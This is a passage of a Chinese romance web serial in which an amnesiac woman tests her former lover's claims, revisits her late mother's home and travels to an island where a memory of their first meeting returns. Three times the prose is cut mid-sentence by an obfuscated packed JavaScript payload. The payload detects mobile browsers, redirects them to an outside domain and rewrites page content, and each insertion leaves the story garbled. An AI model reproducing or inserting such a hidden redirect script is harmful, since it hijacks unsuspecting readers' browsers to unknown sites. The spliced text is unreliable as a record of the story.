她略带可惜地说:“我这次带了礼物来,现在看一圈,却觉得与你家风格相差甚大,有些拿不出手。” “只要是你送的,我都喜欢。”江未脱口而出,“就是这个吗?” 他拆了牛皮纸包装,红火的枫叶跳出来,在这颜色浅淡的环境中鲜艳得如同一轮明日,“这是胡桃镇的枫叶?” “对,都是我精挑细选出来,想要留作纪念的漂亮枫叶。”她点点头,“都送给你了,我自己只留了一片作书签。” 江未左看右看,爱不释手,而后直接挂在客厅最显眼的地方:“从今往后,只要有人进家门,第一眼看到的,就会是这幅画了。” 时间不早,江未点的外卖也已经送到,两个人倒也不见外,坐在客厅的地毯上,将食物铺满茶几,边看电视边吃饭。 期间,江未放在沙发上的手机屏幕忽然亮起,似是有人找。 然而沈淮棠却注意到,他的屏保竟是他们在胡桃镇拍的合影,就是他侧头看着她对镜头莞尔一笑那张。 江未回完信息,注意到沈淮棠面带疑惑,连拆龙虾壳的速度都放慢了。 他熄屏问道:“怎么了?” “有点想不明白。”沈淮棠说,“你能告诉我,以前你喜欢我什么吗?” 到目前为止,根据她所接收的信息,曾经的沈淮棠就是个性格古怪孤僻,行为举止怪异,因创伤导致失语症,甚至还有概率患遗传性精神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850596|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疾病的麻烦女孩。 她看不到自己身上任何的闪光点。 若说云姨他们仍有一层血亲的联系,猜对她亲和如己出,可江未的情谊好似悬浮在空中,她找不到一个切实的落地点。 江未无声地笑了,仍是有些无奈:“你觉得人必须非常优秀,才值得被爱?” “倒也不是。”她有些迟疑,“我就是不大相信,有人会无条件喜欢我。” 他并未因为沈淮棠的言辞感到困扰,而是认真地询问:“你觉得,爱需要证据?” “或许是吧。”她思考片刻,“太虚无缥缈的话,让我没什么实感,从而会产生新的怀疑。” 江未想想,起身进屋拿来一个木盒子,放在沈淮棠的面前,轻轻地打开盖子。 最先映入眼帘的,是一张电影票。 沈淮棠拿起来端详,目光落在片名与电影院的名称,以及放映场次上。 她也有一张一模一样的电影票。 这意味着,在一年前,他们在同一家电影院里看了同一场次的电影。 唯一的区别,是她与余慈坐在中间排,而他在最后一排。 沈淮棠自然不信这是巧合,只能说,江未不知那时的她已经遗忘过去,因此处心积虑想要制造一场久别重逢。 可她却从头到尾也没有将他认出。 沈淮棠好奇道:“那时候我真的看到你了吗?” “看到了,然后直接无视。”江未回忆起那次孔雀开屏,也有些好笑,“我以为你是真的不愿与我相认,电影结束后,我还想叫住你,结果接了一通二十秒的电话,你就已经不见踪影。” “不一定看到了。”她谨慎地说,“否则我怎么会记不住这么漂亮的面孔。” 这话终于取悦到江未,露出今夜第一回真心实意的笑容。 可紧接着,他又轻轻叹口气。 沈淮棠品出含义,嫌弃地啧了一声,对他指指点点:“你这人真的很矛盾,又想用这张脸吸引我,又担心我只是看上你的脸。” “人之常情嘛。” 江未倒不在意,转而从盒子里拿出一部年代久远的手机,充满电后还能开机。 手机相册里有几十张照片,比如梦港岛的风景照,蓝天金沙绿植,还有教堂的钟楼与花田,剩下的全是沈淮棠的照片。 明显能看出来,以往的她并不喜欢照相,对于留影一事颇有抵触,因此江未只能悄咪咪地偷拍。 比如她躺在沙发上酣睡,怀中抱着一只同样睡得正香的黑猫,手边滑落一本方才翻阅过的书籍。 比如她凝视窗外飞鸟掠过的侧颜,眼神淡漠,气质疏离,这与如今的她倒是极其相似,不过现在更加醇和稳定。 以及寥寥数张他们的合照,江未在前面掌机自拍,身后是正在招猫逗狗摸花抱树总之不知他在拍照的沈淮棠。 唯一一张正经合照,他们坐在沙滩边的长椅上,挨得很近,沈淮棠歪着脑袋,亲昵地贴着他的脸,对着镜头微微一笑。 他们的面前,摆着一个小小的水果蛋糕,江未解释说:“那天你陪我过生日,这蛋糕是你亲手做的。” 盒子里还有一本速写本,沈淮棠翻了翻,是江未的作品,随心随意地画花鸟鱼虫,风花雪月,还有她。 他笔下的她仍然表情不多,但寥寥几笔却能精准地勾画出她的不同神情与状态。 沈淮棠中肯点评:“你真的很喜欢我。” 江未被她的一本正经逗乐:“当然了,你看过这些‘证据’,有什么想法?” “更迷茫了。”她合上本子,百思不得其解,只能万分狐疑道,“又是照片,又是速写,莫非你喜欢的,其实是我这张脸?” 14. 不欢而散 江未闻言大笑:“对对对,我确实对你这张脸情有独钟,只要你还长这样,我就情不自禁。” 沈淮棠闻言无语地瞥他一眼。 这话实在耳熟,之前还说是她对他一见钟情。他可真是惯会说漂亮话,也不知到底哪句真哪句假。 她放弃思考,随意说道:“脸就脸吧,至少我身上还有一个闪光点值得追求——你什么眼神?我说错了吗?” 筷子被她搁置在瓷碗边沿,发出清脆的声响,“事到如今,你所提供的‘证据’最多只能证明我们关系不错。” 江未静静看过来,眼神微妙。 沈淮棠与他对视片刻,进一步解释道:“比如那枚戒指,确实是我手指的尺寸,写的也是我的名字。” 她顿一下,“如果是情侣对戒,应该刻的是对方名字。” “至于爽约,以及我们之间产生的龃龉,也都是沟通不畅才导致的问题,与是否情侣关系没有瓜葛。” 柔软的纸巾擦过唇角,她垂眸,将其精准地丢入垃圾桶,“还有你说,我因病要与你分手……以我的性格,若真介意疾病,甚至都不会跟你开始,遑论分手呢?” “不过没关系,之前如何,不会改变我对你的观感,也不会影响我们现在做朋友。” 沈淮棠说这些话的时候,语调并无起伏,一如既往的淡然理智,不带一丝喜悦或批判,甚至没有任何情绪,好似只是平静无波地通知他一声。 然而,江未越听,眼眸越是沉寂。 他虽然还弯着唇角,面色却变得很淡,甚至有些苍白。 “‘证据’,有那么重要吗?”他轻声说,“所以你的意思是,我在说谎。” 江未似乎想笑,但笑不出来,导致脸上的表情有些怪异:“好,确是如此,一切都是我的一厢情愿,你推理得没错。” 沈淮棠明确感知江未情绪的急速跌落,直到此刻,她才后知后觉地察觉源自自身的一丝淡薄的残忍与自傲。 于她而言,这些不过是一些思考过程,转圜后得出“我们曾是恋人”这句话是谎言的结论。 可她也无能为力,或者说,无法自控。 “江未,我是个记忆一片空白的人。”她尽量让声音稳定平直,“我所有的过去,都是道听途说,人云亦云,如果我不去寻找‘证据’,一个落地点,那我将永远地陷入怀疑与内耗,难以自救。” 江未看上去,好像有点难过,有点伤感,海流一般剧烈的情绪在短时间内从他身上涌现,却又被他强制地克制压下。 他垂眸,长长呼出一口气:“抱歉。” 沈淮棠忽然有种奇怪的感觉,就好像江未其实一直在等待着她来戳穿这个谎言,拿着证据来质问他,他便可以顺水推舟地剖白过往,自陈心事,或是说些僭越友情的话语。 而她直接无视他的言下之意,无异于将谎言平直地碾压过去。 这意味着,她不想探索他的真实想法,也不在乎这顽劣的谎言下,是否有任何玩笑,或是苦衷。 他对她来说,是个无关紧要的人。 沈淮棠微微张嘴,还想说什么,江未却已经整理好散落的情绪,重新戴上淡淡微笑的社交假面,对她客气地说: “是的,那只是随口扯的谎,非常拙劣粗糙,当时我灵机一动,也是为了拖延时间让你多看我一眼。” 他将语气放柔,稍有矫饰,听上去极为诚恳笃定,“我知道你很快就能识破,只是没想到会是今天,有点猝不及防。” 疏离的笑意在他的桃花眼中荡漾开,“不管如何,这件事确实是我做错了,请你原谅我。” 他承认是谎言。 沈淮棠却觉得心口堵得慌。 像是陷入迷宫,望着面前四通八达的途径,却没有一条正确的道路。 到底是哪里出了差错? 她来送礼物,话赶话谈及此事,江未诚恳道歉……一切都很正常,可不知为何,他们之间却生分许多。 面前的江未让她感到陌生,此时的她像是名利场上他需要用社交技巧去周旋的对象,这让她难以忍受,干脆起身告辞。 他并未挽留,却仍然保持礼貌,站起身来去拿外套:“我送你。” “留步。”她拒绝,江未不再强求。 离开时,她感受得到身后江未凝视的眼神,没有回头,而他也没有再叫住她。 他们之间,冷然得连架都吵不起来。 在某个红绿灯的等待时间,沈淮棠注意到,昏黄的路灯下竟开始飘雪。她将车窗降下,伸手去接纷纷扬扬的雪花,细小的寒冷融化在她的掌心。 一时不想回栖居,却也不知该去何处。 红灯结束,绿灯亮起,她再次启动车子的瞬间,忽然有了主意。 她拐进一个极其老旧的小区,在三号楼不远处停车,而后裹上围巾下车。 推开楼栋的大门,感应灯年久失修,时灵时不灵,沈淮棠打起手机的电筒,照亮眼前一小片区域,慢慢地爬到三楼,站定在铁门前。 沈淮棠的脑袋陷入三分恍惚的状态。 明明什么也不记得了,然而只要她站在这扇铁门前,摸出钥匙开锁的动作却能一气呵成。 那是曾经做过成千上万次的动作,连锁内每一个卡扣的位置都熟悉,已经形成连贯的肌肉记忆。 她握住门把手,稍微一使劲。 吱呀一声,门被推开。 随着沈淮棠继续打开第二道木门,尘封已久的场景带着强烈的熟悉感扑面而来,连空气中惊起的浮屑都在刺激她的眼球。 空气重新流通,闭塞的味道一时让她咳嗽两声。 这是她与母亲共同生活十七年的家。 十七岁离开后,她再也没有回来过。 沈淮棠摸索着打开灯,映入眼帘的是风格极为复古的客厅,方正的格局,电视沙发茶几摆得一丝不苟,竟然还能看见现在已经很少使用的电话机,不过没有电话线,应该是为了保护母亲。 角落的钢琴被绒布盖着,上方还放着精巧的玻璃花瓶。 不止这一处,她发现家中各处都摆放着大大小小的花盆,或许曾经插满鲜花。 客厅的沙发背后,是一大片照片墙,全都是沈淮棠与家人的面孔。 其中沈淮棠与母亲的照片最多,她们似乎有意识地每年在相同的场景下拍摄同样姿势的照片,以看出她明显的成长轨迹。 七岁的沈淮棠在拍照时还紧紧牵着母亲的衣摆,对镜头有疑惑与抗拒,十七岁的沈淮棠已然能平稳站定,反而是母亲挽着她的胳膊,显然已经成为母亲的支柱。 而这是他们最后一张合照。 沈淮棠与母亲有一张极为相似的面容,脖颈修长,锁骨优美。 但区别在于,她总是面无表情,神情淡漠疏离,而母亲的气质却很温和,眼角眉梢都带着轻柔的笑意。很难想象,这位娴雅的女士竟死于自尽。 她静静地站在照片墙前,一张一张地看过去,视线忽然在不起眼的角落定住。 那是一张边角都泛黄的照片,拍摄时间已经非常久远,照片上的沈淮棠还很年幼,大概只有四五岁的年纪,不知因为何事受了委屈,正在嚎啕大哭。 而母亲跪坐在地,双臂将她紧紧抱在怀中,轻柔地在她额头上印上一吻。 拍摄地点正是自家阳台,当时的母亲身体健康,对生活充满热情,在阳台上种满了各色花朵。 照片里沈淮棠身后的,就是七八盆养得极其鲜艳旺盛的贝拉茶花。 红色花朵尽态极妍,漂亮极了。 沈淮棠的瞳孔微微颤动,难以言明的情绪像是从心口长出的藤蔓,急速攀援而上,将她整个人紧紧地裹起。 尖锐的刺扎破血肉,她顿时觉得难以呼吸,连迈半步都无法做到。 她忽而了悟。 江未说的故事是真的。 沈淮棠喜爱花朵,是因为从幼年开始,母亲就将家中布置成缤纷花园。 母亲离开后,她在梦港岛上本能寻找熟悉的环境,因此找到修女的花田。好巧不巧,贝拉也是母亲曾经喜爱的花朵。 而修女的去世,再次让她感受到失去母亲的痛苦。她不知该如何排解,只能本能的对前来寻找她的江未做出母亲惯常安抚她的动作。 她模仿安抚,是因为她渴求安抚。 就像有些人想要爱,就先付出爱。 沈淮棠的指甲深深地掐进掌心,细密的疼痛感让她保持思考的连贯。 心情很糟糕,糟糕透顶。 之前她还以为,自己是因为摔伤脑袋,才对感知情绪有不小的障碍,这东西飘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850597|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忽不定,她难以察觉,也不知如何处理——不管是自己的,还是别人的。 此时她才反应过来,这毛病在失忆前就根深蒂固,且事到如今,半点进步也没有! 再加上她的记忆一片雾蒙蒙——明明已经许久未曾因失忆而焦虑过,现下却仿若坠回五年前的茫然之中——刚醒来的那段时间,她极度没有安全感。 不知自己是谁,从何而来,因何而来,如同临崖而立,背后即是万丈深渊。 所以,她养成一个强迫症般的习惯。 只要别人提及任何过去的事情,她就一定要找到“证据”,去支撑那悬浮的不安全感,让她这艘在海上漫无目的飘荡的船只能够暂时地靠岸。 沈淮棠仰起头,深深深呼吸,长长地吐出一团寒冷的白雾。 她攥紧手心,让翻腾的心情渐渐平复,燃烧的脑袋也再次回归冷静,时间一分一秒过去,思路也逐渐清晰。 虽然不知这一切的源头是什么,但她明确知道,自己厌恶身处被动的状态中,一切都只能等着别人来告诉她,然后她开始不断猜忌,寻找新的支点…… 电光火石之间,她做了决定。 她要去梦港岛寻找记忆。 沈淮棠迅速处理好签证机票等琐事,将店铺托付给店员,再把三花儿送到余慈的住处,让她暂时收养小猫。 余慈像抱孩子似的抱着大肥猫,疑惑地问道:“姐,你又要出远门啊?” “我要去梦港岛碰碰运气。”她绽放一个转瞬而逝的笑容,调笑道,“说不定这次回来,第二本书的素材都有保证了呢。” 她对妹妹挥挥手,“祝我好运吧。” 于是,在初冬还未积雪的时候,沈淮棠踏上了去梦港岛的旅途。 从鹤城到梦港岛要飞两趟,再搭车前往港口,每日去往梦港岛的船只有早上九点的一班,错过就要等到第二天。 这一回,沈淮棠又回归至踽踽独行。 客观来说,她更习惯这种状态,因为有同伴必然意味着互相迁就,终归是独自一人的状态更舒适。 候船时,在静谧时光中拿着一本书静静翻阅,就很自在。 只不过在偶尔的出神中,沈淮棠会回忆起江未浅笑吟吟的模样。 而后她赶紧闭闭眼,将他的音容笑貌赶出脑海,还要暗自感叹一番,美貌就是有这般强悍的侵蚀能力。 自从那天过后,他们就没再联系过。 沈淮棠事后复盘,觉得他们之间有必要再谈一谈,却又不知从何开口。 回想起那天的交谈内容,两人像是完全不在一个频道,这种耿耿于怀,恰逢说了矫情不说憋屈的中间,让她颇有种拔剑四顾心茫然的焦灼。 再者,她就算思虑较重,配的也是钢筋铁直的肠子,对上江未那般婉转回圜的玲珑心思,极有可能将他越推越远。 唉,之前他们没能继续在一起,或许也是命运如此,理所当然。 沈淮棠轻轻叹口气,漫无目的地思考,缘分未到即是如此。 他尚不成熟,感情热烈像捧燃烧的火焰,她又理性紧绷过了头,画地为牢,只将所有事情都斩断个痛快。 思绪翻飞,沈淮棠的耳边传来汽笛声,候船室的广播通知,去梦港岛的旅客现在可以检票上船。 她拿上行李,跟随队伍上了小型渡轮,按照船票上的号码找到座位,运气很好地靠在窗边,稍一偏头就能看到今日风平浪静的海面。 阳光落下,波光粼粼的海面像是铺了一层金子。沈淮棠拿出相机,想要拍摄外面掠过水面的海鸥, 此时,她感觉到有人在旁边坐下。 她的神经一跳,竟然幻嗅到某种雨夜的味道,匆匆按下快门后,她蓦然转眸,猝不及防地对上一双倒映着盈盈海面的桃花眼。 沈淮棠微微愣住:“你怎么会在这里?” “来出差啊。”江未从容地耸耸肩,眼角眉梢皆是与她相遇的欣喜,“你不会忘记,梦港岛上还有我的店面吧?” 她想起这茬儿,算是接受他的说法,点点头道:“原来如此。” “哎呀,骗你的。” 见她这样又轻易信了,那聪明劲儿怎么还一阵一阵的呢? 他无奈地笑笑,眼底皆是细碎斑斓的光影:“什么出差,我当然是来找你啊。” 15. 真正的初见 沈淮棠眯着眼睛瞧他,半晌收回视线。 都已经习惯这家伙的张口就来。 说真的,“出差”和“来找她”这两个理由放在一起,她更相信前者。 就算上回他们不欢而散,这段时间分明打个电话就能缓和关系,他没打,却飞了两趟还坐船来找她?这可不是什么轻松的旅途,实在不至于。 嘹亮的汽笛声后,小渡轮开船了,沈淮棠的注意力被窗外的海景吸引。 鹤城并非沿海城市,她与海洋的缘分实在浅薄,没见过几次,因此这会儿看不腻似的,一直注视着海面无数的小小动静,飞翔的海鸥,冒头的小鱼,以及行船时边沿泛起的浪花。 虽然鹤城已经入冬,但梦港岛的气温却在恒定的二十多度。沈淮棠想着,哪怕不会游泳,也要挑个暖和的日子下海玩水,否则实在辜负这好天气。 江未依然忙碌,处理一段时间的工作,而后因为船上看屏幕太晕而暂停。 他们之间没有说话,氛围却并不尴尬,甚至无形之中熟稔闲适,或许是因为,在之前的自驾旅途中,也多是这样的境况。 江未抱臂,顺着她的目光看看窗外,又将视线转落在她专心致志的侧颜,唇角弯起细微的弧度。 抵达梦港岛的时候,临近中午。 他们下船后沿着主路行走三四分钟,进入集市,周围皆是形形色色的店铺。海风阵阵,不管是岛民还是旅客,都惬意而散漫地享受着时光。 沈淮棠摸着空空的肚子,点指兵兵选择一家餐厅解决午饭。 风铃声响起,她进门,又回头看向跟在身后的江未。他亦步亦趋的举动自然而然,好似他们本就是同行者。 还未等她开口,江未抢先说道:“我请你吃饭,当做上回的赔罪,行不行?” “那可以。”沈淮棠当即点头。 他们绕到房屋后院,这里有一片直接建立在海面的平台,食客不少,大多是游客,都坦然大方地穿着清凉,花花绿绿的沙滩衬衣和泳衣,也有宽松的T恤和五彩斑斓的漂亮裙摆,边吃着饭,一边轻声细语地与同伴聊天。 唯一大声些的,是两个小男孩在没有客人的空地上玩儿水枪,时不时哈哈大笑,地方宽阔,倒也不觉得特别吵闹。 沈淮棠挑了最边沿的座位,靠在椅背上,遥望着海平线,暖洋洋的太阳将她晒得有些迷糊。 这会儿正是饭点,餐厅服务员忙不过来,江未转头去店里找老板点菜了。 她发了会儿呆,回神后想去一趟洗手间,才刚站起身,抬眼便见到那玩儿水枪的小男孩炮弹似的朝她冲来! 孩子奔跑时才转过头来,眼见着就要撞到她,啊啊啊地紧急刹车,两条腿不听使唤似的左右一绊,猛地往前一栽—— 沈淮棠眼疾手快地伸手扶他,却未曾想自己单薄的身板儿根本接不住这勇猛小牛犊的冲击,直接被撞得往后一倒—— 失重那一秒,她心里想,这平台为什么没有栏杆呢?多危险啊。 紧接着,沈淮棠就以极不标准的背向跳水姿势自由落体,坠入海中,浪花四溅,声响极大,即刻了无踪影。 咕噜噜噜—— 四肢百骸被冰凉的水流包围,口鼻侵入咸涩的海水,一瞬间将她抵在生死边缘。 刹那间,沈淮棠的脑子里划过千百种想法,最后定格在“决不能淹死”的念头。 肺部的疼痛如刀割,她紧紧咬着牙,在一阵毫无章法地扑腾过后,双脚竟然开始本能地踩水,手臂也开始有规律地滑动,慢慢朝水面上浮游动。 眼前的光感越来越强,她感觉到快要蹦出胸膛的心跳,憋气也已经要到极限。 哗啦! 沈淮棠骤然冲破水流的桎梏,爆破似的撞出海面,在起起伏伏的浪花中仰头大口喘气,被蒙住的耳朵终于听到清晰的风声。 她使劲儿抹了把脸上汪汪的海水,用力眨眨眼,才看到平台上正准备跳入水中捞她的江未,面容冷肃得让人害怕。 而刚才撞她那小子满面忧色地守在一旁,显然是想要下水却被江未拦住。 见到她冒头,他当即喜形于色,和小伙伴一起大声欢呼起来。 沈淮棠鱼儿似的游过去,抓住江未对她伸出的手,被他一用力轻轻松松拎上来。 她坐在平台边沿,有些发愣,也没有松开江未的手。他摸摸她的脊背,安抚她的后怕:“没事儿,这都上来了。” 没想到,沈淮棠却使劲抱住他的胳膊,瞪大眼睛难以置信说:“江未!怎么回事?原来我会游泳啊?!” 江未:? 他没忍住笑了,伸出手指戳一下她湿漉漉的额头:“没良心的,游泳都是我教你的,真是全忘了。” 她松开手,摸了摸额头,仍然沉浸在巨大的震撼之中:“啊呀,吓我一跳。” “看你半天不上来,我才吓一跳。”江未摇摇头,“都说失忆不会丧失技能,还以为你是特例。” “这五年我就没游过泳。”她松口气,“一到极限环境,就想起来了。” “幸好,这儿离岸不远,水不算深,而且这里本来就是跳水区。”江未一指不远处立着的牌子。 她这才反应过来,难怪此处这么多人穿着泳衣,而且她掉下去时,离得远的客人就算听见水花声也毫无反应,估计以为是有人一时兴起跳水游泳。 直到这时,沈淮棠才发现刚才那小男孩儿还跪坐在旁边,长得跟洋娃娃似的,又大又圆的蓝眼睛里满是愧疚,他终于逮到空隙,诚恳道歉:“非常对不起,我以后不会再这样乱跑了。” 沈淮棠原本也没太生气,见孩子满脸愧疚,便大度原谅了他,还顺手像撸小狗一样,摸了摸他的金色卷发,手感怪好。 一阵海风吹来,她情不自禁哆嗦起来,衣服湿透贴在身上很是难受,于是去洗手间打理干净,换上一身轻薄的玉白色连衣裙,衬得肌肤白皙盈润,半湿的长发散落在背后,如同一把茂盛的海藻,散发着淡淡的海洋的味道。 江未正在餐桌前与那自称安东尼的小男孩聊天,她重新拉开椅子坐下,安东尼将桌上的果汁推过去:“我请你喝。” “谢谢。”沈淮棠也不客气,举杯抿了一口,酸酸甜甜的味道沁人心脾。 安东尼盯着她的脸,半晌说道:“我见过你的照片,在医院社区的活动展示墙,你在插花。” 江未解释道:“他说的应该是疗养院的社区,是为了方便患者居住与就医才建立的,全白天或者半天住院,夜里回家。” 社区与医院会举行各种活动,比如做些简单的手工或 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15850598|175843||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 者食品,钱倒是其次,主要是能让患者们不会感到被社会边缘化,也能逐渐再次适应社会生活。 沈淮棠以往就住在这社区中,参加活动也是极有可能的事情,可她还是有些意外:“那已经是很多年前了,你是怎么认出我的呢?” “在这里,黑发黑瞳的面孔本就不多,在社区住过的就更少,更何况你漂亮得像璀璨的水晶,我看一眼就记住了。” 安东尼为好记性而洋洋得意,又凑近江未说,“东方人都长得这么好看吗?你的眼睛像是明亮的黑曜石。” 江未和沈淮棠相视一笑,算是听出来了,这孩子很会端水,而且还喜欢各种亮晶晶的矿石。 他们吃过饭,与安东尼告别,小孩儿离开的时候,还对他们说:“街角有一家书店,卖些很有意思的小物件儿,老板是东方人,但他几乎不回来,我从没见过他。” 而后,江未问沈淮棠:“要不要去东方老板的书店里看看有意思的小物件儿?” 沈淮棠犹豫一瞬,还是点了头。 她对于同名的栖居书店很是好奇,或许是因为曾经对此处感情极深,连在失忆状态下,都给新书店起了同一个名字。 直到站在栖居大门前,沈淮棠一路以来的放松心态终于炸裂。 眼前敞开的楠木门,与鹤城栖居书店的楠木门别无二致,进门后即是明亮的波纹窗户,旁边放着一把藤椅,一只胖胖的大橘猫正窝在椅子上睡得正香。 这熟悉入骨的一幕,将沈淮棠冲击得站在原地久久无法回神。 若非藤椅上的是橘猫而不是三花,她都要以为自己穿越过时空之门,直接回了她自己的店铺。 江未先一步进了栖居,熟门熟路地去和店员打招呼。 沈淮棠脚步未动,忽而觉得有些头晕,方才溺水的感觉再次卷土重来,紧紧卡在她的咽喉,连呼吸都艰难些许。 她晃晃脑袋,使劲揉揉眼睛,再次抬眸时,眼前出现时空重叠的幻境。 又或者说,那只是脑海里的记忆,竟在此时此刻,如同电影放映般浮现在眼前。 那应该是八年前。 十七岁的沈淮棠初来乍到,四处闲逛的时候,在街角发现这处隐秘之地,木招牌上写的是她熟悉的汉字。 她在门口停顿片刻,谨慎迈步而入,走过散发着幽香的原木书柜。 吸引她目光的,除了店老板收集的一列列市面难寻的书本,还有俊俏疏懒的店老板本人。 而同样年轻的江未,懒洋洋地躺在摇摇晃晃的藤椅上,长腿舒展。夕阳透过水波纹玻璃,模模糊糊地落在他指间夹着一本旧书上。 他随意翻阅着泛黄的书页,哪怕有客人进门,也只是漫不经心一抬眸,露出一双宝光流转的桃花眼,能让人霎时忘了来处,只想凝神细瞧他片刻。 一只猫探头去够他垂落在椅边的手,他的指尖触及毛茸茸的脑袋,温柔地搓了搓小猫咪的耳朵。 包裹得严严实实的过往好似被匕首划开一个锋利的口子,细碎的记忆如同涓涓细流涌现。 彼时的少女看着漂亮的老板,仅此一眼,耳边的纷扰声如潮水般褪去,唯剩眼前人。 心跳声从胸腔蔓延上来,一下下敲打她脆弱的神经。 那才是他们真正的初见。 16. 异兽 此时此刻,沈淮棠回味着那心动一刻,竟然与秋夜宴会上与江未重逢时的对视微妙地重合起来。 嘶——她心里叫了声不好。 原来江未之前说的都是真的,她对他,确实是一见钟情——两次。 他上回还打趣说“我就喜欢你漂亮,只要你还长这样,我就情不自禁。”这分明说的是她,不管是八年前还是现在,见到他的脸就走不动路。 沈淮棠思及此处,心里有三两分赧然,面上却不显,仍保持着一贯的清冷淡然,装作欣赏似的迈步而入,却一眼就看到正在和人说话的江未的背影。 黑色衬衣撑起宽肩窄腰,而后是包裹在浅色休闲裤里的长腿,光是站着就有随意自然的雅气。 听见她的脚步声,江未侧身回眸,露出半张精雕玉琢的侧脸,耳廓的红痣熠熠生辉。 如此画面,千回百折兜转到沈淮棠心里,唯剩五个大字——梦港岛尤物! 爱美之心人皆有之,喜欢上这张脸像呼吸一样简单。 区区两次,她已经很克制了。 沈淮棠在极短时间内实现自洽,顿时也不觉得一见钟情是什么值得害羞的事。 她走进栖居书店左顾右盼,看见与自己店里极其相似的布局,轻轻的叹息落在风中:“原来如此。” 潜意识里将栖居当成安全屋,有她熟悉喜爱的一切,才会在失忆后还将久住的书店改造成七八成相似的模样。 她心里感慨,可想而知,当年的栖居于她而言在怎样重要的位置。 这时,与江未聊天的店员走上前来,是个红发红胡子的老头,江未管他叫达拉斯,瞧着已经年迈,却仍然保持山一样强壮体魄,以及一丝不苟的性格,每日将书店里里外外清洁得干干净净。 他非常耳背,但还是和蔼地笑着对沈淮棠说:“欢迎回来。” 见她面有犹豫,达拉斯又说,“我知道你不记得我,但是没有关系,你会想起来的,上帝保佑你。” 他双手交握,念了几句祈祷词,将最好的祝福送给她。 沈淮棠没有宗教信仰,只能礼貌道谢,然后下意识寻找江未。 他此时正抱着手臂斜靠在柜台上,与她对上视线后,一指里屋柔软的沙发:“看到没?你的专座。” 里屋是个宽敞的休息室,有一座极为老旧但清洁得很干净的布艺沙发。 旁边是一整面墙的书架,上面放着不少中文书籍,都是二三十年前甚至更久以前的出版物,被精心保存放置在此处。 墙上还有一些画作,小部分她看着眼熟,像是江未的笔触。 她走进熟悉又陌生的地界,颇为新奇地坐在沙发上,感受半晌,尝试着一头栽倒,脑袋枕在扶手上,整个人都陷入柔软的沙发里。 江未跟在她身后,笑眯眯地倚在门框边:“这就找回最熟悉的姿势了?” 沈淮棠放空地躺着,闭上眼睛,脑海中那幻觉又涌现出来。 “还少点什么。”她挥舞着双手说,“我的怀里,应该抱着一只猫,黑色的猫,瘦不拉几,深蓝色的眼睛,眼神非常警惕,但是很喜欢我。” 她沉浸在幻象之中,没有看见江未吃惊的神色,他说:“你记起二白了?” “看过照片呢,不过躺在这里的时候,就是感觉应该有一只猫。”沈淮棠缓缓睁开眼睛,语气仍然不大确定。 与其说想起曾经发生的事情,不如说身处在以往久待的地方,幻视零碎的记忆片段罢了。并不连贯,因此她也无法确切地说得更具体。 江未却觉得有意思,鼓励道:“还觉出什么了?说说看。” 沈淮棠的脑海里仍然是那只小黑猫,病恹恹的样子,不大喜欢人,平日里都躲在角落,但每次看到她,都会直接冲过来,绕在脚边蹭来蹭去,喵喵叫着撒娇。 然后她就会将它抱起来,亲昵地蹭蹭脸,揉揉耳朵,瘦削的少女抱着瘦嶙嶙的小猫,安睡在这一方小小的沙发上。 这猫明明黑得跟煤球一样,怎么取名字叫二白?莫非还有只白色的大黑? “二白现在在哪里?”她心里有莫名的失落,“我走之后,它不会一直在等我吧?” “当然在等你。”江未表情淡淡,声音也平静,“二白是你捡来的病猫,好好照料着,勉强渡过鬼门关,多活了几年,但是在两年前还是去世了。” 直到二白离开这个世界,都没有再见到沈淮棠。 她张张嘴,却什么也没有说出来。 这时,达拉斯却走进来,蒲扇似的掌心里捧着一只毛毡小猫咪,纯黑色的绒毛与蓝色的瞳孔,肚皮上鲜亮的两抹白色。 “我习惯做木雕,这是第一次做毛毡品,希望你喜欢。”达拉斯腼腆地说,“二白也会想你的。” “谢谢。”沈淮棠接过,伸手轻轻抚摸毛毡猫猫的脑袋。 此时她突然想起,与江未重逢的那个秋夜,她先行从宴会厅出来,若非一只深蓝瞳仁的小黑猫拦路,必然会与后追出来的江未错过。 后来,在她从医院回来取车的时候,又看到了一次那只小黑猫。 那只小黑猫,与二白实在太像了。 想到此处,沈淮棠将此事告诉江未,然而说完又摇摇头:“应该是我乱想了,这世界上蓝瞳黑猫一抓一大把,哪里就有这么玄乎的事情?” 江未安慰道:“有个念想也好,二白的肚皮上有两撮白毛,很好认,你就是因为这猫才取的这名字,等回鹤城以后,看看能不能再偶遇那只猫,不论它是不是二白,我都要给大恩猫送上罐罐三摞。” 他们准备离开时,达拉斯站在大门口挥手,沈淮棠忍不住多看他几眼,这么大的块头,几乎将整扇门堵住。 